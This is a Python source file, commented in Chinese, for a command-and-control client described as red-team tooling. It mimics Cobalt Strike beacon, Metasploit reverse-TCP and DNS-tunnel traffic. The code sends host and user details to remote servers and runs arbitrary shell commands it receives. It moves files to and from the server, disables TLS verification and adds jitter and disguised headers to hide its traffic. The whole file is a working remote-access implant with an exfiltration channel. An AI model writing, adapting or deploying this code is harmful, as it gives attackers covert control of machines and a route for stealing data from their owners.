#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
C2通信客户端模块 - 专业红队生态集成
支持主流C2平台的通信协议，实现标准化接口

支持的C2平台:
1. Cobalt Strike - Beacon通信协议 (HTTP/HTTPS/DNS隧道)
2. Metasploit - reverse_tcp/reverse_https payload格式
3. 自定义C2 - 灵活的通信协议扩展

主要功能:
- 多协议通信支持
- 自动重连和故障转移
- 通信模式动态切换
- 流量伪装和加密
"""

import os
import sys
import time
import json
import base64
import socket
import struct
import random
import hashlib
import threading
import subprocess
from typing import Dict, List, Optional, Tuple, Any, Union, Callable
from dataclasses import dataclass, field
from enum import Enum
import platform
import urllib.request
import urllib.parse
import urllib.error
import ssl
import dns.resolver
import dns.query
import dns.message

# 加密相关
try:
    from Crypto.Cipher import AES, ChaCha20
    from Crypto.Random import get_random_bytes
    from Crypto.Util.Padding import pad, unpad
    from Crypto.Protocol.KDF import PBKDF2
    HAS_CRYPTO = True
except ImportError:
    HAS_CRYPTO = False

class C2Protocol(Enum):
    """C2通信协议类型"""
    COBALT_STRIKE_HTTP = "cs_http"
    COBALT_STRIKE_HTTPS = "cs_https"
    COBALT_STRIKE_DNS = "cs_dns"
    METASPLOIT_TCP = "msf_tcp"
    METASPLOIT_HTTPS = "msf_https"
    CUSTOM_HTTP = "custom_http"
    CUSTOM_TCP = "custom_tcp"

class C2Status(Enum):
    """C2连接状态"""
    DISCONNECTED = "disconnected"
    CONNECTING = "connecting"
    CONNECTED = "connected"
    RECONNECTING = "reconnecting"
    FAILED = "failed"

@dataclass
class C2Config:
    """C2配置信息"""
    protocol: C2Protocol
    host: str
    port: int
    path: str = "/"
    user_agent: str = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
    sleep_time: int = 5
    jitter: float = 0.1
    max_retries: int = 3
    encryption_key: Optional[str] = None
    proxy: Optional[str] = None
    headers: Dict[str, str] = field(default_factory=dict)

@dataclass
class C2Message:
    """C2消息结构"""
    command: str
    data: bytes
    message_id: str
    timestamp: float
    encrypted: bool = False

class BeaconProtocol:
    """Cobalt Strike Beacon协议实现"""
    
    def __init__(self, config: C2Config):
        self.config = config
        self.session_id = self._generate_session_id()
        self.encryption_key = None
        if config.encryption_key:
            self.encryption_key = hashlib.sha256(config.encryption_key.encode()).digest()
    
    def _generate_session_id(self) -> str:
        """生成会话ID"""
        return hashlib.md5(f"{time.time()}{random.random()}".encode()).hexdigest()[:8]
    
    def _encrypt_data(self, data: bytes) -> bytes:
        """加密数据"""
        if not self.encryption_key or not HAS_CRYPTO:
            return data
        
        try:
            cipher = AES.new(self.encryption_key, AES.MODE_CBC)
            padded_data = pad(data, AES.block_size)
            encrypted = cipher.encrypt(padded_data)
            return cipher.iv + encrypted
        except Exception:
            return data
    
    def _decrypt_data(self, data: bytes) -> bytes:
        """解密数据"""
        if not self.encryption_key or not HAS_CRYPTO or len(data) < 16:
            return data
        
        try:
            iv = data[:16]
            encrypted_data = data[16:]
            cipher = AES.new(self.encryption_key, AES.MODE_CBC, iv)
            decrypted = cipher.decrypt(encrypted_data)
            return unpad(decrypted, AES.block_size)
        except Exception:
            return data
    
    def create_checkin_request(self) -> bytes:
        """创建签到请求"""
        checkin_data = {
            "session_id": self.session_id,
            "hostname": platform.node(),
            "username": os.getenv("USER", "unknown"),
            "platform": platform.system(),
            "arch": platform.machine(),
            "pid": os.getpid(),
            "timestamp": int(time.time())
        }
        
        data = json.dumps(checkin_data).encode()
        return self._encrypt_data(data)
    
    def parse_response(self, response: bytes) -> Optional[C2Message]:
        """解析响应数据"""
        try:
            decrypted = self._decrypt_data(response)
            if not decrypted:
                return None
            
            # 尝试解析JSON
            try:
                data = json.loads(decrypted.decode())
                return C2Message(
                    command=data.get("command", ""),
                    data=data.get("data", "").encode(),
                    message_id=data.get("id", ""),
                    timestamp=time.time(),
                    encrypted=True
                )
            except json.JSONDecodeError:
                # 原始数据
                return C2Message(
                    command="raw",
                    data=decrypted,
                    message_id=self._generate_session_id(),
                    timestamp=time.time(),
                    encrypted=True
                )
        except Exception:
            return None

class MetasploitProtocol:
    """Metasploit协议实现"""
    
    def __init__(self, config: C2Config):
        self.config = config
        self.session_key = os.urandom(16)
    
    def create_stage_request(self) -> bytes:
        """创建stage请求"""
        # Metasploit stage请求格式
        stage_request = struct.pack(">I", 4)  # 请求长度
        stage_request += b"RECV"  # 魔术字节
        return stage_request
    
    def parse_stage_response(self, response: bytes) -> Optional[bytes]:
        """解析stage响应"""
        if len(response) < 4:
            return None
        
        stage_size = struct.unpack(">I", response[:4])[0]
        if len(response) < 4 + stage_size:
            return None
        
        return response[4:4+stage_size]
    
    def create_command_response(self, output: bytes) -> bytes:
        """创建命令响应"""
        response = struct.pack(">I", len(output))
        response += output
        return response

class DNSTunnelProtocol:
    """DNS隧道协议实现"""
    
    def __init__(self, config: C2Config):
        self.config = config
        self.domain = config.host
        self.resolver = dns.resolver.Resolver()
    
    def _encode_data(self, data: bytes) -> str:
        """编码数据为DNS查询"""
        try:
            # 使用高级加密技术
            try:
                import sys
                sys.path.append('/tmp')
                from modules.security.advanced_encryption import AdvancedEncryption
                
                enc = AdvancedEncryption()
                encrypted_data = enc.encrypt_payload(data, "c2_client")
                
                # 将加密后的数据编码为DNS查询
                encoded = base64.b32encode(encrypted_data.encode()).decode().lower().rstrip('=')
                
            except ImportError:
                # 降级方案：直接使用Base32编码
                encoded = base64.b32encode(data).decode().lower().rstrip('=')
            
            # 分割为63字符的标签
            labels = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
            return '.'.join(labels) + '.' + self.domain
            
        except Exception as e:
            # 错误处理：使用原始Base32编码
            encoded = base64.b32encode(data).decode().lower().rstrip('=')
            labels = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
            return '.'.join(labels) + '.' + self.domain
    
    def _decode_response(self, response: str) -> bytes:
        """从DNS响应解码数据"""
        try:
            # 移除域名后缀
            if self.domain in response:
                encoded = response.replace('.' + self.domain, '').replace('.', '')
            else:
                encoded = response.replace('.', '')
            
            # 补充padding
            padding = 8 - (len(encoded) % 8)
            if padding != 8:
                encoded += '=' * padding
            
            return base64.b32decode(encoded.upper())
        except Exception:
            return b""
    
    def send_dns_query(self, data: bytes) -> Optional[bytes]:
        """发送DNS查询"""
        try:
            query_name = self._encode_data(data)
            response = self.resolver.resolve(query_name, 'TXT')
            
            if response:
                # 合并所有TXT记录
                txt_data = ''.join([str(rdata).strip('"') for rdata in response])
                return self._decode_response(txt_data)
        except Exception:
            pass
        
        return None

class C2Client:
    """C2客户端主类"""
    
    def __init__(self, configs: List[C2Config]):
        self.configs = configs
        self.current_config_index = 0
        self.status = C2Status.DISCONNECTED
        self.session = None
        self.protocols = {}
        self.running = False
        self.command_handlers = {}
        
        # 初始化协议处理器
        self._initialize_protocols()
        
        # 注册默认命令处理器
        self._register_default_handlers()
    
    def _initialize_protocols(self):
        """初始化协议处理器"""
        for config in self.configs:
            if config.protocol in [C2Protocol.COBALT_STRIKE_HTTP, 
                                 C2Protocol.COBALT_STRIKE_HTTPS]:
                self.protocols[config.protocol] = BeaconProtocol(config)
            elif config.protocol in [C2Protocol.METASPLOIT_TCP, 
                                   C2Protocol.METASPLOIT_HTTPS]:
                self.protocols[config.protocol] = MetasploitProtocol(config)
            elif config.protocol == C2Protocol.COBALT_STRIKE_DNS:
                self.protocols[config.protocol] = DNSTunnelProtocol(config)
    
    def _register_default_handlers(self):
        """注册默认命令处理器"""
        self.command_handlers.update({
            "shell": self._handle_shell_command,
            "upload": self._handle_upload_command,
            "download": self._handle_download_command,
            "sleep": self._handle_sleep_command,
            "exit": self._handle_exit_command,
            "sysinfo": self._handle_sysinfo_command
        })
    
    def register_command_handler(self, command: str, handler: Callable):
        """注册自定义命令处理器"""
        self.command_handlers[command] = handler
    
    def _handle_shell_command(self, data: bytes) -> bytes:
        """处理shell命令"""
        try:
            command = data.decode().strip()
            result = subprocess.run(command, shell=True, capture_output=True, 
                                  text=True, timeout=30)
            output = result.stdout + result.stderr
            return output.encode()
        except Exception as e:
            return f"Error executing command: {e}".encode()
    
    def _handle_upload_command(self, data: bytes) -> bytes:
        """处理文件上传"""
        try:
            # 解析上传数据格式: filename_length|filename|file_data
            filename_length = struct.unpack(">I", data[:4])[0]
            filename = data[4:4+filename_length].decode()
            file_data = data[4+filename_length:]
            
            with open(filename, 'wb') as f:
                f.write(file_data)
            
            return f"File uploaded: {filename}".encode()
        except Exception as e:
            return f"Upload failed: {e}".encode()
    
    def _handle_download_command(self, data: bytes) -> bytes:
        """处理文件下载"""
        try:
            filename = data.decode().strip()
            if os.path.exists(filename):
                with open(filename, 'rb') as f:
                    file_data = f.read()
                
                # 格式: filename_length|filename|file_data
                response = struct.pack(">I", len(filename))
                response += filename.encode()
                response += file_data
                return response
            else:
                return b"File not found"
        except Exception as e:
            return f"Download failed: {e}".encode()
    
    def _handle_sleep_command(self, data: bytes) -> bytes:
        """处理睡眠命令"""
        try:
            sleep_time = int(data.decode().strip())
            self.configs[self.current_config_index].sleep_time = sleep_time
            return f"Sleep time set to {sleep_time} seconds".encode()
        except Exception as e:
            return f"Sleep command failed: {e}".encode()
    
    def _handle_exit_command(self, data: bytes) -> bytes:
        """处理退出命令"""
        self.running = False
        return b"Exiting..."
    
    def _handle_sysinfo_command(self, data: bytes) -> bytes:
        """处理系统信息命令"""
        try:
            sysinfo = {
                "hostname": platform.node(),
                "platform": platform.system(),
                "release": platform.release(),
                "architecture": platform.machine(),
                "processor": platform.processor(),
                "username": os.getenv("USER", "unknown"),
                "pid": os.getpid(),
                "cwd": os.getcwd()
            }
            return json.dumps(sysinfo, indent=2).encode()
        except Exception as e:
            return f"Sysinfo failed: {e}".encode()
    
    def _http_request(self, config: C2Config, data: bytes) -> Optional[bytes]:
        """发送HTTP请求"""
        try:
            url = f"{'https' if 'https' in config.protocol.value else 'http'}://{config.host}:{config.port}{config.path}"
            
            headers = {
                'User-Agent': config.user_agent,
                'Content-Type': 'application/octet-stream'
            }
            headers.update(config.headers)
            
            req = urllib.request.Request(url, data=data, headers=headers, method='POST')
            
            # 忽略SSL证书验证
            if 'https' in config.protocol.value:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                response = urllib.request.urlopen(req, context=ctx, timeout=10)
            else:
                response = urllib.request.urlopen(req, timeout=10)
            
            return response.read()
        except Exception:
            return None
    
    def _tcp_connect(self, config: C2Config) -> Optional[socket.socket]:
        """建立TCP连接"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)
            sock.connect((config.host, config.port))
            return sock
        except Exception:
            return None
    
    def _switch_to_next_config(self):
        """切换到下一个配置"""
        self.current_config_index = (self.current_config_index + 1) % len(self.configs)
        print(f"[*] Switching to config {self.current_config_index}: {self.configs[self.current_config_index].protocol.value}")
    
    def connect(self) -> bool:
        """连接到C2服务器"""
        self.status = C2Status.CONNECTING
        
        for attempt in range(len(self.configs)):
            config = self.configs[self.current_config_index]
            protocol = self.protocols.get(config.protocol)
            
            if not protocol:
                self._switch_to_next_config()
                continue
            
            print(f"[*] Attempting connection via {config.protocol.value} to {config.host}:{config.port}")
            
            try:
                if config.protocol in [C2Protocol.COBALT_STRIKE_HTTP, C2Protocol.COBALT_STRIKE_HTTPS]:
                    # Beacon协议连接
                    checkin_data = protocol.create_checkin_request()
                    response = self._http_request(config, checkin_data)
                    
                    if response:
                        message = protocol.parse_response(response)
                        if message:
                            self.status = C2Status.CONNECTED
                            print(f"[+] Connected via {config.protocol.value}")
                            return True
                
                elif config.protocol in [C2Protocol.METASPLOIT_TCP, C2Protocol.METASPLOIT_HTTPS]:
                    # Metasploit协议连接
                    if config.protocol == C2Protocol.METASPLOIT_TCP:
                        sock = self._tcp_connect(config)
                        if sock:
                            stage_request = protocol.create_stage_request()
                            sock.send(stage_request)
                            response = sock.recv(4096)
                            
                            if response:
                                self.session = sock
                                self.status = C2Status.CONNECTED
                                print(f"[+] Connected via {config.protocol.value}")
                                return True
                
                elif config.protocol == C2Protocol.COBALT_STRIKE_DNS:
                    # DNS隧道连接测试
                    test_data = b"ping"
                    response = protocol.send_dns_query(test_data)
                    if response:
                        self.status = C2Status.CONNECTED
                        print(f"[+] Connected via {config.protocol.value}")
                        return True
                
            except Exception as e:
                print(f"[-] Connection failed: {e}")
            
            self._switch_to_next_config()
        
        self.status = C2Status.FAILED
        return False
    
    def start_beacon_loop(self):
        """启动beacon循环"""
        self.running = True
        
        while self.running:
            if self.status != C2Status.CONNECTED:
                if not self.connect():
                    print("[-] All connection attempts failed, retrying in 30 seconds...")
                    time.sleep(30)
                    continue
            
            try:
                config = self.configs[self.current_config_index]
                protocol = self.protocols.get(config.protocol)
                
                if config.protocol in [C2Protocol.COBALT_STRIKE_HTTP, C2Protocol.COBALT_STRIKE_HTTPS]:
                    # HTTP Beacon
                    checkin_data = protocol.create_checkin_request()
                    response = self._http_request(config, checkin_data)
                    
                    if response:
                        message = protocol.parse_response(response)
                        if message and message.command:
                            self._process_command(message)
                    else:
                        self.status = C2Status.DISCONNECTED
                        continue
                
                elif config.protocol == C2Protocol.METASPLOIT_TCP and self.session:
                    # TCP会话
                    try:
                        self.session.settimeout(1)
                        data = self.session.recv(4096)
                        if data:
                            message = C2Message(
                                command="shell",
                                data=data,
                                message_id="tcp_cmd",
                                timestamp=time.time()
                            )
                            self._process_command(message)
                    except socket.timeout:
                        pass  # 正常超时，继续循环
                    except Exception:
                        self.status = C2Status.DISCONNECTED
                        self.session = None
                        continue
                
                elif config.protocol == C2Protocol.COBALT_STRIKE_DNS:
                    # DNS隧道
                    checkin_data = protocol.create_checkin_request()
                    response = protocol.send_dns_query(checkin_data)
                    
                    if response:
                        message = protocol.parse_response(response)
                        if message and message.command:
                            self._process_command(message)
                
                # 睡眠和抖动
                sleep_time = config.sleep_time
                if config.jitter > 0:
                    jitter_time = sleep_time * config.jitter * random.random()
                    sleep_time += jitter_time
                
                time.sleep(sleep_time)
                
            except KeyboardInterrupt:
                print("\n[*] Beacon loop interrupted")
                break
            except Exception as e:
                print(f"[-] Beacon loop error: {e}")
                self.status = C2Status.DISCONNECTED
                time.sleep(5)
        
        self.running = False
        if self.session:
            self.session.close()
    
    def _process_command(self, message: C2Message):
        """处理接收到的命令"""
        try:
            handler = self.command_handlers.get(message.command)
            if handler:
                response_data = handler(message.data)
                self._send_response(response_data)
            else:
                # 默认作为shell命令处理
                response_data = self._handle_shell_command(message.data)
                self._send_response(response_data)
        except Exception as e:
            error_msg = f"Command processing error: {e}".encode()
            self._send_response(error_msg)
    
    def _send_response(self, data: bytes):
        """发送响应数据"""
        try:
            config = self.configs[self.current_config_index]
            protocol = self.protocols.get(config.protocol)
            
            if config.protocol in [C2Protocol.COBALT_STRIKE_HTTP, C2Protocol.COBALT_STRIKE_HTTPS]:
                # HTTP响应
                encrypted_data = protocol._encrypt_data(data)
                self._http_request(config, encrypted_data)
            
            elif config.protocol == C2Protocol.METASPLOIT_TCP and self.session:
                # TCP响应
                response = protocol.create_command_response(data)
                self.session.send(response)
            
            elif config.protocol == C2Protocol.COBALT_STRIKE_DNS:
                # DNS隧道响应
                protocol.send_dns_query(data)
                
        except Exception as e:
            print(f"[-] Failed to send response: {e}")

def create_cobalt_strike_config(host: str, port: int, path: str = "/", 
                               use_https: bool = True, encryption_key: str = None) -> C2Config:
    """创建Cobalt Strike配置"""
    protocol = C2Protocol.COBALT_STRIKE_HTTPS if use_https else C2Protocol.COBALT_STRIKE_HTTP
    return C2Config(
        protocol=protocol,
        host=host,
        port=port,
        path=path,
        encryption_key=encryption_key,
        headers={
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate'
        }
    )

def create_metasploit_config(host: str, port: int, use_https: bool = False) -> C2Config:
    """创建Metasploit配置"""
    protocol = C2Protocol.METASPLOIT_HTTPS if use_https else C2Protocol.METASPLOIT_TCP
    return C2Config(
        protocol=protocol,
        host=host,
        port=port
    )

def create_dns_tunnel_config(domain: str) -> C2Config:
    """创建DNS隧道配置"""
    return C2Config(
        protocol=C2Protocol.COBALT_STRIKE_DNS,
        host=domain,
        port=53
    )

# 使用示例
if __name__ == "__main__":
    print("=== C2客户端测试 ===")
    
    # 创建多个C2配置（故障转移）
    configs = [
        create_cobalt_strike_config("192.168.1.100", 443, "/api", True, "secret_key"),
        create_metasploit_config("192.168.1.101", 4444),
        create_dns_tunnel_config("c2.example.com")
    ]
    
    # 创建C2客户端
    client = C2Client(configs)
    
    # 注册自定义命令处理器
    def custom_handler(data: bytes) -> bytes:
        return b"Custom command executed"
    
    client.register_command_handler("custom", custom_handler)
    
    # 启动beacon循环
    try:
        client.start_beacon_loop()
    except KeyboardInterrupt:
        print("\n[*] C2 client stopped")